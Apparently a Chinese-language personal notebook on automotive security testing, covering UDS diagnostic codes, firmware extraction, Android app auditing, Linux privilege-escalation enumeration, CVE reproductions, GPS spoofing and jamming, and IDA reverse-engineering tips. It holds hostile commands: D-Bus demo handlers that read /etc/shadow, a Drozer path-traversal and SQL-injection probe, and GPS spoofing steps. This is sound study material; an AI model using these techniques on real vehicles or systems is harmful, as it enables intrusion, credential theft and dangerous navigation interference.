0xE200 Execute SPL This value shall be used to convert a program module to an executable form.
0xE201 Deploy Loop Routine ID This value shall be used to initiate the deployment of the previously selected ignition loop.
0xE202 – 0xE2FF Safety System Routine IDs This range of values shall be reserved by this document for future definition of routines implemented by safety related systems.
0xE300 – 0xEFFF ISO/SAE Reserved This value shall be reserved by this document for future definition.
0xF000 – 0xFEFF System Supplier Specific This range of values is reserved for system supplier specific use.
0xFF00 Erase Memory This value shall be used to start the server’s memory erase routine. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer.
0xFF01 Check Programming Dependencies This value shall be used to check the server’s memory programming dependencies. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer.
0xFF02 – 0xFFFF ISO/SAE Reserved This value shall be reserved by this document for future definition.NOTE FF0216 was formerly used for eraseMirrorMemoryDTCs.

参考:国产智能网联汽车漏洞挖掘中的几个突破点 (qq.com)

还有很多,在文章中有参考的应该都有标注

NRC错误码

Hex Name Description
01 ISOSAEReserved ISO 保留,暂时未定义

0F
10 GeneralReject 一般性拒绝。通常在无法准确描述错误时发出
11 serviceNotSupported 服务不支持。多出现在服务未被定义
12 sub-functionNotSupported 子功能不支持。多出现子功能未被定义
13 ncorrectMessageLengthOrInvalidFormat 报文长度错误
14 responseTooLong 响应字节数太长
15 ISOSAEReserved ISO 保留,暂时未定义

20
21 busyRepeatRequest 过忙导致执行失败。多出现在快速发送请求
22 conditionsNotCorrect 条件不满足。多出现在整车状态无法满足诊断的需求
23 ISOSAEReserved ISO 保留,暂时未定义
24 requestSequenceError 请求的顺序错误。多出现在没有首先接收请求的情况下接收sendKey子功能
25 noResponseFromSubnetComponent 子网无法响应
26 FailurePreventsExecutionOfRequestedAction DTC出现了错误的记录。一般不出现
27 ISOSAEReserved ISO 保留,暂时未定义

30
31 requestOutOfRange 请求超出范围
32 ISOSAEReserved ISO 保留,暂时未定义
33 securityAccessDenied 安全访问模式错误
34 ISOSAEReserved ISO 保留,暂时未定义
35 invalidKey 密钥key无效
36 exceededNumberOfAttempts 收到的invalidKey超过了允许的尝试次数
37 requiredTimeDelayNotExpired NRC_36之后,安全访问锁定的时间内再次请求seed
38 reservedByExtendedDataLinkSecurityDocument 扩展数据链路层保留

4F
50 ISOSAEReserved ISO 保留,暂时未定义

6F
70 uploadDownloadNotAccepted 上传/下载受限。多出现在通过诊断刷写程序
71 transferDataSuspended 数据传输中断。多出现在通过诊断刷写程序
72 generalProgrammingFailure 编程失败。多出现在通过诊断刷写程序
73 wrongBlockSequenceCounter 块序计算错误。多出现在通过诊断刷写程序
74 ISOSAEReserved ISO 保留,暂时未定义

77
78 requestCorrectlyReceived-ResponsePending 请求正常接收,但应答正在响应中
79 ISOSAEReserved ISO 保留,暂时未定义

7D
7E sub-functionNotSupportedInActiveSession 该子功能在当前会话下不支持
7F serviceNotSupportedInActiveSession 该服务在当前会话下不支持
80 ISOSAEReserved ISO 保留,暂时未定义
81 rpmTooHigh 编程管理地址过高
82 rpmTooLow 编程管理地址过低
83 engineIsRunning 发动机运转。·
84 engineIsNotRunning 发动机未运转
85 engineRunTimeTooLow 发动机运行时间过短
86 temperatureTooHigh 温度过高
87 temperatureTooLow 温度过低
88 vehicleSpeedTooHigh 车速过高
89 vehicleSpeedTooLow 车速过低
8A throttle/PedalTooHigh 油门/踏板太高
8B throttle/PedalTooLow 油门/踏板太低
8C transmissionRangeNotInNeutral 非空挡
8D transmissionRangeNotInGear 不在指定档位
8E ISOSAEReserved ISO 保留,暂时未定义
8F brakeSwitch(es)NotClosed 踏板开关未关闭
90 shifterLeverNotInPark 车辆处于非P档
91 torqueConverterClutchLocked 液力变矩器离合器锁定
92 voltageTooHigh 电压过高
93 voltageTooLow 电压过低
94 reservedForSpecificConditionsNotCorrect 预留给特定异常情况

EF
F0 vehicleManufacturerSpecificConditionsNotCorrect 预留给整车厂定义的特定异常情况

FE
FF ISOSAEReserved ISO 保留,暂时未被定义
参考:跟我学UDS(ISO14229) ———— NRC码_nrc uds-CSDN博客

硬件安全

1.芯片PCB丝印

通过Datasheet,google等搜索芯片的PCB丝印信息

2.引脚探测

使用JTAGulator可以连接各个接口,地线,然后通过串口连接

image-20231212110209305

分析Jtag接口

image-20231212110223873

其他的也是类似的,help查看命令即可。

3.固件提取读写

提取

拆解芯片之后,使用RT809H编程器打开进行芯片识别,然后提取即可。

读写

通过飞线连接对应的Jtag或者SWD接口等,然后用JFlash进行连接即可读取刷写

image-20231212110555867

image-20231212110612357

Target->Connect连接,随后选取range读取Flash,选取范围,有的芯片是只能读写某个范围的数据,可以自己尝试

image-20231212110636346

智能汽车网络安全权威指南

第11章不得不说的汽车网络安全攻击手法

攻击向量分析

整车攻击面

硬件分析

具体再看

固件逆向

固件逆向知识点

1.固件分类

  • Bare Metal(裸机)固件:
    • 车内的Bare Metal通常是基于Autosar CP(Classical Platform AUTOmotive Open System Architecture)实现的标准嵌入式系统。它的任务通常不会超过3/4个,在特定条件下运行。
    • 基本都是基于C语言编写的,常见的C语言漏洞也适用
    • 没有预定义的文件结构,通常需要了解芯片手册,创建内存映射再进行反汇编。
  • 成熟的操作系统固件:
    • 大多为Linux、windows CE、Android等等
    • 通常包含三个组件:BootLoader、内核、文件系统。

2.固件解包

(1)清除OOB

从Flash中提取的固件,需要将固件中的Out-Of-Band(OOB)空闲区块去除,常见存储为格式如下两种

微信图片_20231030114332

对于2048字节的可以使用如下python代码清除

1
2
3
4
5
6
data = open("image.bin","rb").read()
f = open("fix.bin","wb")
p = 2112
for i in range(len(data)//p):
f.write(data[i*p:i*p+2048])
f.close()
(2)解包固件

3.固件逆向

(1)指令集识别

可以用Binwalk -A进行识别指令集。

(2)获取基地址
(3)函数恢复
  • log函数识别,没看懂
  • BSP(Board Support Package)重编译:如果有与芯片固件相对应的BSP软件包,那么可以尝试编译,然后用bindiff进行比对识别函数。
  • CMSIS-SVD符号恢复法,不太懂

……

(4)固件代码定位

….

(5)固件调试

主要是用芯片级别的调试,使用JTAG

WEB漏洞

远程车机应用攻击

BLE蓝牙钥匙

重放:nccgroup/BLE-Replay: BLE-Replay is a Bluetooth Low Energy (BLE) peripheral assessment tool (github.com)

或者使用gatttool进行重放

Android攻击

敏感信息

apkurlgrepndelphit/apkurlgrep: Extract endpoints from APK files (github.com)扫描APK中使用的URL

apkleaksdwisiswant0/apkleaks: Scanning APK file for URIs, endpoints & secrets. (github.com)扫描APK中的密钥、URI等

StaCoAnvincentcox/StaCoAn: StaCoAn is a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications. (github.com)可以帮忙扫描硬编码密钥、apikey、密码等信息

检查Manifest.XML

  • 检查应用程序是否可以调试:debugable = "true"

  • 检查是否可以允许备份:android:allowBackup = "true"

  • 检查是否有导出的Activity:是否有<activity android:name=".TestActivity" android:exported="true"/>,这样的Activity组件可以被其他应用调用

    如果存在,可以以如下命令尝试启动

    1
    adb shell am start -n com.example.demo/com.example.test.MainActivity
  • 检查是否有导出的Content Provider:是否有<provider android:name=".DBContentProvider" android:export="true",这样的Provider可以被其他应用调用

    Content Provider所提供的数据可以存储在数据库、文件、网络上,可以用一个Drozer来模拟应用程序调用四大组件

    WithSecureLabs/drozer: The Leading Security Assessment Framework for Android. (github.com)

    • 当Content Provider为数据库存储,可能出现sql注入,可以如下尝试

      1
      2
      dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
      unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
    • 当Content Provider为文件存储时,可能有目录穿越

      1
      dz> run app.provider.read content://[APPLICATION_ID]/public/../../databases/database.db
  • 检查是否有导出的Service:是否有<service android:name=".ExampleExportedService" android:exported="true"/>,这样的Service可以被其他应用调用

    常见的处理代码从handleMessage函数开始,快速定位如下关键函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    private final class ServiceHandler extends Handler {
    public ServiceHandler(Looper looper){
    super(looper);
    }
    @Override
    public void handleMessage(Message msg){
    // Normally we would do some work here, like download a file.
    // For our sample,we just sleep for 5 seconds
    try {
    Thread.sleep(5000);
    }catch (InterruptedException e){
    // Restoreinterrupt status.
    Thread.currentThread().interrupt();
    }
    // Stop the service using the startId,so that we don't stop
    // the service in the middle of handling another job
    stopself(msg.arg1);
    }
    }

    使用Drozer调用服务

    1
    run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj
  • 检查是否有广播接收器:是否有<receiver android:name=".MyBroadcastReceiver" android:exported="true"/>,这样其他的应用可以发广播给该程序

    重点关注onReceive函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public class MyBroadcastReceiver extends BroadcastReceiver {
    private static final String TAG = "MyBroadcastReceiver";
    @Overridepublic void onReceive(Context context, Intent intent){
    StringBuilder sb = new StringBuilder();
    sb.append("Action: + intent.getAction() + “\n");
    sb.append("URI:" + intent.touri(Intent.URI INTENT SCHEME).toString()+"\n");
    String log = sb.tostring();
    Log.d(TAG,log);
    Toast.makeText(context,log, Toast.LENGTH LONG).show();
    }
    }

    使用Drozer调用服务

    1
    run app,broadcast.send --component <package name> <component name>--action<action> --extra <type> <key> <value>
  • 检查是否有URL Scheme:检查Activity中是否有<data android:scheme="app" android:host="open.my.app" />这样的Activity可以被其他应用通过URL打开,包括浏览器,这个即为Deeplink,用adb测试

    1
    adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]

    通常还需要检查是否存在敏感参数,密码,明文传输,证书检查,弱密码套件(即加密算法)

    Deprecated CipherSpecs - IBM Documentation

  • 检查Activity模式是否为singleTask:具有singleTask模式的Activity具有被劫持的风险,此类漏洞可以参考:Android task hijacking using moveTaskToBack() and excludeFromRecents (takemyhand.xyz)

    检查是否有<activity android:name=".MainActivity" android:launchMode="singleTask"/>

代理组件攻击

不懂

过时加密算法

Deprecated CipherSpecs - IBM Documentation

自动化静态分析

MobSF/Mobile-Security-Framework-MobSF: Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. (github.com)

Vooki - Free Android APK & API Vulnerability Scanner | Vooki Infosec (vegabird.com)

重点关注的函数

  • 从外部获取数据:getOutputStreamgetParcelable
  • 具有风险行为的函数:execsendBroadcast

参考:secure-software-engineering/FlowDroid: FlowDroid Static Data Flow Tracker (github.com)

日志分析

JakeWharton/pidcat: Colored logcat script which only shows log entries for a specific application package. (github.com)

客户端注入

SQL注入、Javascript注入(XSS)如果webview代码中调用了setJavaScriptEnabled函数则可能开启,默认关闭的。

本地文件包含,如果代码调用setAllowFileAccess(false)则表示关闭了,默认开启的。

Linux攻击

1.信息收集

  • root权限进程:

    1
    ps -ef
  • 查看网络信息,哪些开放断开,哪些有UNIX socket

    1
    netstat -npl
  • 检查suid程序

    1
    find / -type f -perm -u=s -ls 2>/dev/null
  • 检查任意用户可写的文件看是否能提取

    1
    find / -perm -2 -type f -ls 2>/dev/null | grep -v "/proc/"
  • 检查任意用户可写的目录,是否可以创建符号链接来提权

    1
    find / -perm -2 -type d -ls 2>/dev/null
  • 查看设备,寻找可以访问的设备

    1
    ls -l /dev
  • 查看文件系统,观察哪些目录是可写的

    1
    mount
  • 查看内核模块,是否存在自定义的内核模块

    1
    lsmod
  • 查看防火墙,是否对高危端口做了隔离

    1
    iptables-save
  • 查看网卡配置,检查其IP、MAC等信息

    1
    ifconfig
  • 查看路由,检查网络通信方式

    1
    2
    ip route list table all
    ip rule list
  • 检查内核版本,查看是否有历史漏洞

    1
    uname -a
  • 检查环境变量,是否存在可写的文件或目录

    1
    env
  • 检查crontab,是否存在可写的文件或目录

    1
    cat /etc/crontab
  • 检查crontab的定时执行文件以及里面执行的内容,是否具有可写权限

    1
    ls -al /etc/cron.daily

2.用户态攻击

(1)文件修改
  • 可执行文件:包括shell、so等等,如果运行用户为root,但是低权限用户可以修改,则可以尝试修改获取shell

  • 配置文件

    1
    2
    3
    /etc/passwd    修改用户登录时执行的命令
    /etc/ld.so.conf 添加导入.so库的目录
    /etc/httpd.conf 添加自定义插件
  • 数据库文件:通过控制数据库文件,从而影响从数据库文件获取数据的程序,比如将数据带入system,将数据当作URL访问之类的

  • Service文件:使用systemd的系统中会存在.service文件,如果可以修改,则可以在启动或者停止服务时加入自己的代码。比如修改ExecStart = /tmp/my.sh,就可以在启动停止服务时执行my.sh。其他的比如.time.socket

(2)文件夹可写

在可写文件夹中删除不可修改的文件,再创建该文件,从而达到修改文件的目的。

(3)Capability滥用

查找具有Capability的进程

1
getcap -r / 2>/dev/null

如果程序具有cap_dac_override,那么该程序就可以写任意文件,如果可以控制写的目标文件和内容,就能达到提权目的了。此外还有CAP_SYS_ADMINCAP_SYS_PTRACECAP_SYS_CHOWN等等

(4)SUID
(5)Linux IPC

即攻击者作为普通用户普通进程,通过IPC和具有漏洞的root进程进行数据交互传输,利用root进程的漏洞来获取shell,从而完成提权,常见的有socket、MemoryMap、SystemV、Posix、NamePipe、SharedMemory等等

(6)总线协议

常见的总线协议为DBus和MQTT协议,这个暂时不懂可以用如下python代码和C代码建立DBus服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import dbus
import dbus.service
import dbus.mainloop.glib
from gi.repository import GLib
import os

class ExampleDBusService(dbus.service.Object):
def __init__(self, bus_name):
super().__init__(bus_name, '/com/example/MyService')

@dbus.service.method('com.example.MyServiceInterface', in_signature='s', out_signature='s')
def ProcessData(self, data):
print(f"Received data: {data}")
os.system("cat /etc/shadow")
# 这里可以添加处理数据的代码
return "Data processed"

def main():
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)

session_bus = dbus.SessionBus()
bus_name = dbus.service.BusName('com.example.MyService', session_bus)
service = ExampleDBusService(bus_name)

loop = GLib.MainLoop()
print("Service started")
try:
loop.run()
except KeyboardInterrupt:
print("Service stopped")
loop.quit()

if __name__ == '__main__':
main()

C代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
//gcc dbus_service.c -o dbus_service `pkg-config --cflags --libs dbus-1`
#include <dbus/dbus.h>
#include <stdbool.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

static DBusHandlerResult example_message_handler(DBusConnection *conn, DBusMessage *message, void *user_data) {
//printf("get!");
system("cat /etc/shadow > /home/hacker/Desktop/Work/DBus/aaaa");
if (dbus_message_is_method_call(message, "com.example.MyService", "MyMethod")) {
DBusMessage *reply;
DBusMessageIter args;
char* param = "";

// 读取参数
if (!dbus_message_iter_init(message, &args))
fprintf(stderr, "Message has no arguments!\n");
else if (DBUS_TYPE_STRING != dbus_message_iter_get_arg_type(&args))
fprintf(stderr, "Argument is not string!\n");
else
dbus_message_iter_get_basic(&args, &param);

printf("Called MyMethod with %s\n", param);

// 创建回复消息
reply = dbus_message_new_method_return(message);
if (!reply) {
fprintf(stderr, "Out of Memory!\n");
exit(1);
}

// 发送回复消息
if (!dbus_connection_send(conn, reply, NULL)) {
fprintf(stderr, "Out of Memory!\n");
exit(1);
}
dbus_connection_flush(conn);
dbus_message_unref(reply);
}
return DBUS_HANDLER_RESULT_HANDLED;
}

int main(int argc, char** argv) {
DBusConnection* conn;
DBusError err;
int ret;

// 初始化错误值
dbus_error_init(&err);

// 连接到DBus
conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Connection Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (NULL == conn) {
exit(1);
}

// 请求路径名
ret = dbus_bus_request_name(conn, "com.example.MyService", DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Name Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
exit(1);
}

// 监听来自DBus的消息
dbus_connection_add_filter(conn, example_message_handler, NULL, NULL);

// 循环处理消息
while (true) {
dbus_connection_read_write(conn, -1);
dbus_connection_dispatch(conn);
}

return 0;
}

使用如下shell代码向C程序发送信息

1
dbus-send --session           --dest=com.example.MyService           --type=method_call           --print-reply           /com/example/MyService           com.example.MyService.MyMethod           string:"aaaaaaa"

使用如下shell代码向python进程发送信息

1
dbus-send --session           --dest=com.example.MyService           --type=method_call           --print-reply           /com/example/MyService           com.example.MyServiceInterface.ProcessData           string:"Hello, DBus!"

可以用d-feet来查看dbus总线上的东西,另外需要区分session和system总线

会议

刷写:诊断仪刷写

OTA:车机程序调用诊断仪刷写

OTA资质:生产厂家具备

25km/h算作机动车辆

M/N/O各种车型是啥

升级的时候,如果升级之后的系统变更的参数涉及到法规规定的,那么对应的RxSWIN码就会变更。

完整性 测试增删改

CVE漏洞复现

CVE-2022-25313

依据https://github.com/libexpat/libexpat/pull/558,对车机进行测试CVE-2022-25313,导出车机expat库,放入编译环境,设置编译参数

image-20231129112431725

创建test.xml测试poc正常功能

image-20231129112442035

创建poc.xml测试CVE-2022-25313,将poc,test.xml,poc.xml放入车机

image-20231129112454918

运行测试,test.xml正常工作。

image-20231129112500631

Poc.xml无法正常工作

image-20231129112526793

使用gdb调试

image-20231129112532102

此时栈空间已达临界值,即将到达临界值

image-20231129112537792

再运行指令,访问sp-0x80空间,无法访问

image-20231129112541106

触发CWE-400漏洞

image-20231129112544838

CVE-2019-20446

依据https://gitlab.gnome.org/GNOME/librsvg/-/issues/515对CVE-2019-20446进行验证

下载foo.svg,大小为7KB左右,准备类似大小10KB的mySvgTest.svg文件,均传入车机。

image-20231129112620011

使用rsvg-convert进行对mySvgTest.svg进行功能验证,花费不到1秒完成转换。

image-20231129112625580

使用rsvg-convert对foo.svg进行测试,等待五分钟也无法完成

image-20231129112632871

重新运行,将rsvg-convert放入后台,使用top查看消耗资源,持续占用较高CPU资源

image-20231129112644499

经验证,rsvg-convert因为librsvg存在CVE-2019-20446,会触发CWE-400

image-20231129112659839

若车机在处理svg调用到rsvg-convert以及librsvg动态库时,将存在CVE-2019-20446触发CWE-400的风险。

CVE-2019-9948

python2的一个漏洞

CVE - CVE-2019-9948 (mitre.org)

image-20231129113042220

GPS测试

1.GPS静态劫持

主要下载星历文件后使用gps-sdr-sim生成信号文件,然后用hackrf发送

2.GPS动态劫持

需要下载谷歌地球和SatGen Trajectory Generation,生成路径,转换成信号文件发送即可

3.GPS干扰

主要用Gnuradio生成信号干扰流图,参考:车载导航GPS安全研究 | 陶 | 智能城市应用 (viserdata.com)

主要依据如下流程图

image-20231205090227662

生成对应的py文件,但是依据上述流程图生成的py文件会无法运行

image-20231205090833365

会少一个Taps需要补充,添加一下即可

image-20231205090922989

效果如下

image-20231205091849906

4.GPS异地信号仿真

异地录制然后发送信号即可

芯片

大多google或者datasheet

S32K312 BMS采用的芯片:S32K系列MCU学习介绍 (coloradmin.cn)

1、NTGAN256T32AC-J1J 2121996EP 3TW
nanya的LPDDR4低功耗内存

2、sec 307 B04P KLM8G1GEUF-B04P nv90303l
https://semiconductor.samsung.com/estorage/emmc/emmc-5-1/klm8g1geuf-b04p/
https://static6.arrow.com/aropdfconversion/9dd6fa565d4ffe1cc97d44276a9f0a0ddb22fa82/klm8g1geuf-b04p.pdf
三星EMMC存储芯片 8G

3、Ublox M9140-ka c1100A 08454356 2240a3
https://content.u-blox.com/sites/default/files/UBX-M9140_ProductSummary_UBX-19027230.pdf
ublox 的GNSS 定位芯片

4、Dolphin+ TCC8034 OBX-L HSK1ZZ-2 2249
TCC803x (Dolphin+) (ARM Cortex-A53 Quad, Cortex-A7 Quad, Cortex-R5)[6] CPU芯片

5、LP8864SQ1 2BTG4 AG-1Y
https://www.alldatasheet.com/datasheet-pdf/pdf/1286986/TI/LP8864S-Q1.html
具有升压控制器的汽车类高效LED 驱动器

6、LM5127Q TI 298 ABXJ G4
https://www.ti.com.cn/cn/lit/ds/symlink/lm5127-q1.pdf?ts=1699864602436&ref_url=https%253A%252F%252Fwww.google.com.hk%252F

7、ADW 10023Z-0 2232 5889729 PHIL

8、SI47971A0 2128A02A8V e3 TW
https://www.mouser.com/datasheet/2/472/Si47971_72_short-3051514.pdf
配备音频 DSP 子系统的汽车双接收器

9、Winbond 25Q32 JVS AQ 2312
https://www.winbond.com/hq/support/documentation/downloadV2022.jsp?__locale=en&xmlPath=/support/resources/.content/item/DA00-W25Q32JV_1.html&level=1
32Mb的Flash

10、SS3203007 1UR849 1002849000900572

11、TDF8546ATH/N1
https://www.aipcba.cn/datasheet/pdf/tdf8546athn1118-cm146822571-f48101326.html?page=1
https://www.mouser.in/datasheet/2/302/TDF8546_SDS-3139660.pdf
NXP公司的音频功率放大器芯片

SOMEIP

简介:

image-20240108140402653

仪表控制,灯光信号控制,座椅控制等等,座仓域

服务类型:

image-20240108141147530

对应概念:

image-20240108141625148

帧结构:

image-20240108141500101

头部报文组成:

image-20240108141610556

DOIP

image-20240109092453105

依据Logical Address来确定ECU的DoIP实体

诊断

image-20240109092852925

对应请求报文如下

image-20240109092906898

回应:

image-20240109093036111

测试规范:

刷写规范:

image-20240110090155556

image-20240110090138299

BLE蓝牙,secrue connect hosts:False,看这个字段是否为True

随机数符合GM/T 0005-2012

法规标准

零部件

推荐性国标:GB/T

做过GB/T 40857网关的

针对不同

MSB大端信号

image-20240117161036190

IDA逆向技巧

一、修复switch

C++程序用IDA打开好多都不能将switch识别成功,常常需要修复:

1.找到跳转地址

常常反汇编之后如下,这个基本就是无法识别switch的时候了

1
__asm { jmp     rax }

2.汇编修改

Snipaste_2021-09-06_16-18-58

进入到unk_41D4,里面放着对应的跳转数据

image-20210906165238427

按d以4字节为一组对应修改为如下,可见跳转数量有6个

image-20210906165538977

然后对应修改数据

Edit->Other->Specify switch idiom

Snipaste_2021-09-06_16-47-27

打开之后修改对应数据

image-20210906170243406

其中默认跳转位置可以通过调试看输入其他的选项的跳转位置。

二、结构体修复

1.Local Type插入

View->Open subviews->Local_types

image-20210906170904828

右键Insert输入对应结构体即可

image-20210906172736186

2.修改为指针

在对应变量按y修改为对应指针

image-20210906172907718

三、反汇编解析错误

1.花指令

IDA中调试出现如下错误,或者观察也知道

image-20211203163504409

这时候可能出现花指令,使得IDA无法正常识别,再往下走IDA跳转到0x40102f,则证明0x40102c~0x40102e这三个字节码都是无效的,直接nop掉,然后patch之后重新打开IDA即可正常识别

image-20211203164003865

2020De1CTF-mixture为例,IDA打开找到zif_类函数,可以看到堆栈指针问题

image-20220215114506575

那么可能存在花指令或其他的影响,可以参考如下两种方法

(1)堆栈寄存器

首先考虑调试看看堆栈寄存器的变化,如下

image-20220215120401490

可以看到,在执行从0x122E~0x124D这个代码块之前和之后的寄存器除了rip其他都没有改变。

栈环境除了rsp的值被改变了其他的没有什么影响,而对于栈来说,主要就是栈指针的移动和传入参数的压栈,首先栈指针并没有发生改变,在考虑传入参数的压栈。

传入的参数为如下两个参数rdi和rsi,并且最开始的汇编代码并没有对rdi和rsi进行操作,那么这段代码块就等于无效,相当于就是一个jz 0x124e,那么我们直接给他nop掉即可

image-20220215121425597

(2)看汇编

0x122e~0x124d如下

image-20220215122155647

可以发现,call l2之后,l2函数通过rax把l2函数的返回地址+8了,也就是从0x1245变成了0x124d,那么就等同于如下代码

1
2
3
4
5
6
7
8
9
.text:000000000000122E                 push    rax
.text:000000000000122F xor rax, rax

.text:0000000000001236 pop rax
.text:0000000000001237 mov [rsp+98h+arg], 0
.text:000000000000123F push rax


.text:000000000000124D pop rax

这不就相当于啥也没做吗,只是有个mov [rsp+98h+arg], 0操作而已,但是也不影响参数,等同没有。

之后的0x131E~0x132D也是一样的错误,直接nop掉即可。之后即可正常F5

image-20220215125030353

四、go语言隐藏

虎符杯2022 gogogo

现有插件或者IDA7.6对go的符号恢复是基于gopclntab段上保留的函数符号,那么如果将该段上的符号函数进行修改或者隐藏,就不太容易逆向了

image-20220324174816395

该题就是将main.main和math.init符号表替换,然后在main.main中设置一些原本main函数输入0x12345678退出的功能,使得逆向时我们认为main.main函数就只有这个功能,并没有其他功能,导致无法进行漏洞分析,修改回来就可以了,直接改这个表.gopclntab即可

五、C++逆向

1.自定义的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class A {
public:
A(){
printf("A::A()\n");
id = 42;
}
virtual void a(){
printf("Virtual A::a()\n");
}
virtual ~A(){
printf("A::~A()\n");
}
private:
int id;
};

class B : public A {
public:
B(){
printf("B::B()\n");
}
virtual ~B(){
printf("B::~B()\n");
}
virtual void a(){
printf("Virtual B::a()\n");
A::a();
}
virtual void b(){
printf("Virtual B::b()\n");
A::a();
}
};

(1)类的内存分布

①没有父类的

用上述代码的class A来举例

未命名文件 (14)

在调用构造函数A::A()之前会从堆里申请一块空间,即class A的空间,包括指针和成员。

image-20220423210047186

A::A()构造函数调用之后会初始化该堆空间,申请的堆空间如下。

image-20220423212133886

然后还需要注意的是有两个函数指针,析构函数指针1和析构函数指针2,其中析构函数指针2是实际的用来释放空间的函数,即原始的析构函数,并且其中会调用到析构函数指针1,即用户自定义的析构函数相关的代码,并且地址是连在一起的,如下所示。

image-20220423211833831

②有父类的

以上述代码的class B来举例

未命名文件 (15)

其他的和没有父类的class也是差不多的。

③未申请空间的类

比如A obj_a;这种写法,那么其public的成员会变成栈上的变量,private成员无法访问,访问其成员函数还是在.text段上对应的。

(2)常规写法

  • A *point_obj_A = new A; :会调用A的构造函数

    A *point_obj_A = new(A); :同上,一样的

  • A obj_A; :A的构造函数调用之后,如果没有其他的操作,那么程序会自动释放该对象,调用析构函数,相当于局部变量。

  • B *point_obj_b = new B;会先调用A的构造函数,然后再调用B的构造函数,和前面的指针没有太多关系,直接B obj_B也是一样的

  • A *point_obj_b = new B;一样的,只是将point_obj_b 标记为类型为A的指针,但是这样的话该对象指针point_obj_b就不能调用到子类B的函数b()了。(子类指针可以调用父类的函数,但是父类指针不能调用子类的特有函数)

2.容器类Vector

(1)容器创建

参考:C++逆向之容器vector篇入门 - 安全客,安全资讯平台 (anquanke.com)

①声明容器

1
2
3
4
vector<int> test1;

//对应IDA代码
std::vector<int>::vector(v8, argv, envp);

这个不造成堆空间的分配

②声明并初始化大小

1
2
3
4
5
6
vector<int> test2(5);

//对应IDA代码
std::allocator<int>::allocator(v13);
std::vector<int>::vector(v9, 5LL, v13);
std::allocator<int>::~allocator(v13);

这个在调用vector的构造函数时,会有堆空间的申请,用来存放容器内的数据,依据定义的大小来进行申请,比如这里就申请了5个int的变量,那么大小为5*4=20个字节,对应在堆空间里就需要申请0x20大小的堆块来存放。

image-20220424112805438

使用malloc来申请

image-20220424112952718

③声明并初始化大小和值

容量+初始值模式

1
2
3
4
5
6
7
vector<int> test3(10,1);

//对应IDA代码
std::allocator<int>::allocator(v12);
v13[0] = 1;
std::vector<int>::vector(v10, 10LL, v13, v12);
std::allocator<int>::~allocator(v12);

可以看到也是类似的,会创建一个局部变量v13作为初始值1传入vector的构造函数,并且申请堆空间后会进行初始化,所需大小为10*4=40个字节,对应0x30的堆空间,并且会初始化为1,如下所示。

image-20220424113519816

相关寄存器如下

image-20220424120832499

④使用地址进行初始化

Begin+End模式

这里区别于之前的传值,即容量的值以及初始值的地址,取而代之的是数据的起始地址和结束地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//传入test3在堆申请的存放数据的起始堆地址和结束堆地址,依据这段数据来进行初始化
vector<int> test5(test3.begin(), test3.end());
getchar();

//对应的传入两个地址进行初始化,即array的相关数据处的地址
int array[5] = {1, 2, 3, 4, 5};
vector<int> test6(&array[1], &array[4]);
getchar();
----------------------------------------------------------------------
//对应IDA代码
std::allocator<int>::allocator(v17, 1LL, v5);
v6 = std::vector<int>::end(v14);
v7 = std::vector<int>::begin(v14);
std::vector<int>::vector<__gnu_cxx::__normal_iterator<int *,std::vector<int>>,void>(v16, v7, v6, v17);
std::allocator<int>::~allocator(v17);
getchar();


v17[8] = 1;
v18[0] = 2;
v18[1] = 3;
v18[2] = 4;
v19 = 5;
std::allocator<int>::allocator(&v10, v7, v8);
std::vector<int>::vector<int *,void>(v17, v18, &v19, &v10);
std::allocator<int>::~allocator(&v10);
getchar();

相关寄存器如下

image-20220424120944256

栈上的数组模式

image-20220424121023804

⑤总结

主要就是关注vector的构造函数

  • 未初始化的只有vector构造函数

  • 初始化容量或者值的,就会调用allocator来为容器进行分配,并且在vector的构造函数调用时会从堆上分配空间。

  • 在IDA中的vector的构造函数中

    • 参数一(RDI寄存器):即栈上保存vector变量的栈地址,指向申请的堆空间地址。后面传入vector的析构函数进行销毁。

      image-20220424143520190

      其中的Begin和End是有效数据的地址范围,下面的那个地址是该容器申请的堆空间的末尾地址。

    • 参数二(RSI寄存器):容量+初值模式就传入容量的值,Begin+End模式就传入Begin处的地址。

    • 参数三(RDX寄存器):容量+初值模式就传入初值的地址,Begin+End模式就传入End处的地址。没有就为allocator的参数。

    • 参数四(RCX寄存器):一般为allocator的参数,没有初值的时候就在参数三中。

  • 最后会自动调用析构函数,传入构造函数创建时保存堆空间指针的栈地址。

1
2
3
4
5
6
std::vector<int>::~vector(v17);
std::vector<int>::~vector(v16);
std::vector<int>::~vector(v15);
std::vector<int>::~vector(v14);
std::vector<int>::~vector(v13);
std::vector<int>::~vector(v12);

(2)容器操作

